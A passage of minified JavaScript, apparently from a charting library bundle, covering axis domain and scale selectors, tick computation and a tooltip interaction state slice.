Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=M0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function L0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var af=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function sf(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function NI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ks=e=>e.tooltip.settings.axisId;function kI(e){if(e in ro)return ro[e]();var t="scale".concat(al(e));if(t in ro)return ro[t]()}function jb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function Nb(e,t,n){if(typeof e=="function")return jb(e.copy().domain(t).range(n));if(e!=null){var r=kI(e);if(r!=null)return r.domain(t).range(n),jb(r)}}var Y4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;te.cartesianAxis.xAxis[t],Gr=(e,t)=>{var n=PI(e,t);return n??q4},G4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:vh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:ll},EI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=EI(e,t);return n??G4},_I={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},I0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??_I},it=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return I0(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},AI=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},zs=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},X4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function D0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var Z4=e=>e.graphicalItems.cartesianItems,OI=L([Je,xl],D0),R0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),vl=L([Z4,it,OI],R0,{memoizeOptions:{resultEqualityCheck:sf}}),Q4=L([vl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(L0)),J4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),TI=L([vl],J4),$0=e=>e.map(t=>t.data).filter(Boolean).flat(1),MI=L([vl],$0,{memoizeOptions:{resultEqualityCheck:sf}}),B0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},F0=L([MI,S4],B0),W0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),of=L([F0,it,vl],W0);function ez(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function kc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function zb(e){if(Array.isArray(e)){var t=[kc(e[0]),kc(e[1])];return Br(t)?t:void 0}var n=kc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(kc).filter(or)}function LI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=ks(e);return zs(e,t,n)},gl=L([yt],e=>e==null?void 0:e.dataKey),II=L([Q4,S4,yt],K4),tz=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(M0);return[l,{stackedData:bT(e,d,n),graphicalItems:u}]}))},nz=L([II,Q4,hl,R4],tz),rz=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=kT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},DI=L([it],e=>e.allowDataOverflow),U0=e=>{var t;if(e==null||!("domain"in e))return vh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:vh},V0=L([it],U0),H0=L([V0,DI],C4),RI=L([nz,qr,Je,H0],rz,{memoizeOptions:{resultEqualityCheck:af}}),lf=e=>e.errorBars,$I=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>ez(n,r)),Du=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>ez(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=LI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=zb(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=zb(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},BI=L([F0,it,TI,lf,Je],K0,{memoizeOptions:{resultEqualityCheck:af}});function FI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var WI=(e,t,n)=>{var r=e.map(FI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&rN(r))?Kk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},iz=e=>e.referenceElements.dots,Ss=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),UI=L([iz,Je,xl],Ss),az=e=>e.referenceElements.areas,VI=L([az,Je,xl],Ss),sz=e=>e.referenceElements.lines,HI=L([sz,Je,xl],Ss),oz=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},KI=L(UI,Je,oz),lz=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},YI=L([VI,Je],lz);function qI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function GI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var cz=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?qI(r):GI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=L([HI,Je],cz),ZI=L(KI,XI,YI,(e,t,n)=>Du(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Du(r,s,i):Du(s,i);return lI(t,u,e.allowDataOverflow)},QI=L([it,V0,H0,RI,BI,ZI,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:af}}),JI=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return Kk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?WI(r,e,u):i==="expand"?JI:o}},G0=L([it,De,F0,of,hl,Je,QI],q0);function eD(e){return e in ro}var uz=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(al(r));return eD(s)?s:"point"}}},Ti=L([it,X4,P0],uz);function X0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?Nb(e.scale,n,r):Nb(t,n,r)}var Z0=(e,t,n)=>{var r=U0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return mI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return pI(e,t.tickCount,t.allowDecimals)}},Q0=L([G0,zs,Ti],Z0),J0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},tD=L([it,G0,Q0,Je],J0),nD=L(of,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),rD=(e,t,n)=>{var r=Gr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"xAxis",t,n,r.padding)},iD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"yAxis",t,n,r.padding)},aD=L(Gr,rD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),sD=L(Xr,iD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),oD=L([kt,aD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),lD=L([kt,De,sD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),yl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return oD(e,n,r);case"yAxis":return lD(e,n,r);case"zAxis":return(i=I0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return U4(e);case"radiusAxis":return V4(e,n);default:return}},fz=L([it,yl],nf),cD=L([Ti,tD],Y4),cf=L([it,Ti,cD,fz],X0);L([vl,lf,Je],$I);function mz(e,t){return e.idt.id?1:0}var uf=(e,t)=>t,df=(e,t,n)=>n,uD=L(Rd,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),dD=L($d,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),pz=(e,t)=>({width:e.width,height:t.height}),fD=(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}};L(kt,Gr,pz);var mD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},pD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},hD=L(Kr,kt,uD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=pz(t,l);o==null&&(o=mD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),xD=L(Hr,kt,dD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=fD(t,l);o==null&&(o=pD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),vD=(e,t)=>{var n=Gr(e,t);if(n!=null)return hD(e,n.orientation,n.mirror)};L([kt,Gr,vD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var gD=(e,t)=>{var n=Xr(e,t);if(n!=null)return xD(e,n.orientation,n.mirror)};L([kt,Xr,gD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});L(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}});var hz=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&rN(c))return c}},ev=L([De,of,it,Je],hz),xz=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},tv=L([De,of,zs,Je],xz);L([De,AI,Ti,cf,ev,tv,yl,Q0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var yD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?Gt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};L([De,zs,Ti,cf,Q0,yl,ev,tv,Je],yD);var bD=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Gt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},vz=L([De,zs,cf,yl,ev,tv,Je],bD),gz=L(it,cf,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})}),wD=L([it,Ti,G0,fz],X0);L((e,t,n)=>I0(e,n),wD,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})});var jD=L([De,Rd,$d],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),yz=e=>e.options.defaultTooltipEventType,bz=e=>e.options.validateTooltipEventTypes;function wz(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function nv(e,t){var n=yz(e),r=bz(e);return wz(t,n,r)}function ND(e){return je(t=>nv(t,e))}var jz=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},kD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},zD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},Nz=nn({name:"tooltip",initialState:zD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=qn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:SD,replaceTooltipEntrySettings:CD,removeTooltipEntrySettings:PD,setTooltipSettingsState:ED,setActiveMouseOverItemIndex:kz,mouseLeaveItem:_D,mouseLeaveChart:zz,setActiveClickItemIndex:AD,setMouseOverAxisIndex:Sz,setMouseClickAxisIndex:OD,setSyncInteraction:gh,setKeyboardInteraction:yh}=Nz.actions,TD=Nz.reducer;function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jl(e){for(var t=1;t{if(t==null)return si;var i=DD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(RD(i)){if(s)return Jl(Jl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Jl(Jl({},si),{},{coordinate:i.coordinate})};function $D(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function BD(e,t){var n=$D(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function FD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:BD(r,n)}var rv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||FD(u,n,r)?String(c):null},Pz=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Ez=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},_z=e=>e.options.tooltipPayloadSearcher,Cs=e=>e.tooltip;function Cb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Pb(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=HD(g,l),b=Array.isArray(v)?fk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=iN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(k=>{var S=Pb(Pb({},y),{},{name:k.name,unit:k.unit,color:void 0,fill:void 0});p.push(Iy({tooltipEntrySettings:S,dataKey:k.dataKey,payload:k.payload,value:Ve(k.payload,k.dataKey),name:k.name}))});else{var z;p.push(Iy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(z=Ve(N,j))!==null&&z!==void 0?z:y==null?void 0:y.name}))}return p},f)}},iv=L([yt,X4,P0],uz),KD=L([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),YD=L([St,ks],D0),Ps=L([KD,yt,YD],R0,{memoizeOptions:{resultEqualityCheck:sf}}),qD=L([Ps],e=>e.filter(L0)),GD=L([Ps],$0,{memoizeOptions:{resultEqualityCheck:sf}}),Es=L([GD,qr],B0),XD=L([qD,qr,yt],K4),av=L([Es,yt,Ps],W0),Oz=L([yt],U0),ZD=L([yt],e=>e.allowDataOverflow),Tz=L([Oz,ZD],C4),QD=L([Ps],e=>e.filter(L0)),JD=L([XD,QD,hl,R4],tz),eR=L([JD,qr,St,Tz],rz),tR=L([Ps],J4),nR=L([Es,yt,tR,lf,St],K0,{memoizeOptions:{resultEqualityCheck:af}}),rR=L([iz,St,ks],Ss),iR=L([rR,St],oz),aR=L([az,St,ks],Ss),sR=L([aR,St],lz),oR=L([sz,St,ks],Ss),lR=L([oR,St],cz),cR=L([iR,lR,sR],Du),uR=L([yt,Oz,Tz,eR,nR,cR,De,St],Y0),bl=L([yt,De,Es,av,hl,St,uR],q0),dR=L([bl,yt,iv],Z0),fR=L([yt,bl,dR,St],J0),Mz=e=>{var t=St(e),n=ks(e),r=!1;return yl(e,t,n,r)},Lz=L([yt,Mz],nf),Iz=L([yt,iv,fR,Lz],X0),mR=L([De,av,yt,St],hz),pR=L([De,av,yt,St],xz),hR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Gt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=L([De,yt,iv,Iz,Mz,mR,pR,St],hR),sv=L([yz,bz,kD],(e,t,n)=>wz(n.shared,e,t)),Dz=e=>e.tooltip.settings.trigger,ov=e=>e.tooltip.settings.defaultIndex,wl=L([Cs,sv,Dz,ov],Cz),ms=L([wl,Es,gl,bl],rv),Rz=L([Zr,ms],jz),$z=L([wl],e=>{if(e)return e.dataKey}),xR=L([wl],e=>{if(e)return e.graphicalItemId}),Bz=L([Cs,sv,Dz,ov],Ez),vR=L([Hr,Kr,De,kt,Zr,ov,Bz],Pz),gR=L([wl,vR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),yR=L([wl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),bR=L([Bz,ms,qr,gl,Rz,_z,sv],Az),wR=L([bR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function Eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _b(e){for(var t=1;tje(yt),SR=()=>{var e=zR(),t=je(Zr),n=je(Iz);return hu(!e||!n?void 0:_b(_b({},e),{},{scale:n}),t)};function Ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},AR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return 